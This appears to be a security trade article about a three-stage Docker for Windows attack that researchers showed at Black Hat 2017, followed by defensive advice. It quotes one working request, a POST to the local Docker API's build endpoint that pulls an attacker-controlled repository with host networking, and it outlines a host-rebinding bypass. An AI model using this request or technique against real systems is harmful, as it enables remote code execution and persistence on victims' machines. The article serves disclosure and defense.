Sergey Nivens - Fotolia
How the Docker REST API can be turned against enterprises
Security researchers discovered how threat actors can use the Docker REST API for remote code execution attacks. Michael Cobb explains this threat to Docker containers.
The attack exploiting the Docker REST API showcased at Black Hat USA 2017 by Aqua Security Software Ltd., an Israeli firm that specializes in container security, highlighted the potential abuse of Docker containers to penetrate networks.
The goal of this attack is to gain a persistent presence for the attacker's code on a victim network. While somewhat complicated, and requiring several stages, the attack is within the means of multiple threat actors. If it is successfully executed against an organization that uses Docker containers on production systems, then it could be very bad news.
Abusing the Docker REST API
The first stage is to lure a victim -- a developer running Docker for Windows -- to a website on which attack code is running. That code looks for anonymous access to the Docker REST API on the victim machine through TCP (tcp://localhost:2375); such APIs use the representational state transfer (REST) architecture. If such access is available to the Docker REST API, the attack code makes an API call that establishes a foothold on the victim system.
While security policy should block this type of access, it was enabled by default in Docker for Windows prior to version 0.5.2. The default is now a Unix socket; however, as Aqua points out, that does not prevent developers from using TCP, and they might be tempted to do so for the sake of convenience if it is not prevented by the security policy.
As would be expected, most requests to the Docker REST API are limited by Same Origin Policy (SOP). However, researchers found that the Docker build command could still be exploited to pull code from an attacker-controlled remote Git repository to build a container that runs within the victim's Hyper-V virtual machine (VM), while also sharing the host's network and executing attacker-controlled code. Here is Aqua's example:
POST http://localhost:2375/build?remote=https://github.com/<User>/<Repo>&networkmode=host
While this first stage gives the attacker a tentative foothold from which lateral movement and reconnaissance are possible, it won't survive a reboot of the compromised machine or a restart of the Docker daemon.
A second stage seeks to escalate privileges and maintain presence. For this, SOP must be defeated, and Aqua suggests using a novel variation on domain name system rebinding: a host rebinding by abusing Windows' Link-Local Multicast Name Resolution. A web server running on port 2375 within the attacker's build container serves a page that starts to constantly request http://pwned:2375/images/json. Eventually, the browser's host cache is exhausted, and the browser equates the pwned address with 127.0.0.1.
At this point, the intruder should be able to execute any command offered by the Docker daemon REST API. All manner of attacks are now possible not just within containers, but also via the Linux VM host.
The third and final stage of the attack is a series of scripts that achieve persistence via a shadow container, which stores the attack state and writes it back to the virtual machine on restart.
Protecting Docker APIs
This may appear to be a lot of effort for a niche attack, but Docker is no longer niche, having found favor in the DevOps movement. According to the "RightScale 2017 State of the Cloud Report," "DevOps adoption continued to rise from 74 to 78 percent with enterprises reaching 84 percent ... Overall Docker adoption surged to 35 percent."
As Aqua Security noted in its white paper, the rapid pace and broad reach of the DevOps trend makes it an area ripe for abuse if companies are not diligent in their security programs. Adding to the risk are the recent findings showing that close to 70% of developers think their organizations don't provide them with adequate training in security, and three quarters of college-educated developers weren't required to complete any courses focused on security during higher education.
Thankfully, this attack on Docker APIs is a research exercise, and not something found in the wild on a victim's network. And Aqua followed the rules of responsible disclosure, which is helping to close off the primary avenue of attack: the default TCP API socket.
Nevertheless, policies and controls to restrict access to the Docker daemon over TCP/HTTP should be put in place, and access to exposed ports should only be afforded to authenticated clients. As Aqua suggests, it may also make sense to firewall port 2375 on the Moby Linux VM interface.
A broader lesson to be learned is that security needs to be addressed at the start, and remain at the heart of any DevOps project. Leaving access wide open may make life easier for developers, but it also opens the door to attackers who will be tempted by a chance to gain a foothold in the enterprise, not to mention a persistent presence in a resource-rich environment that is often flush with valuable data that could be stolen or ransomed.
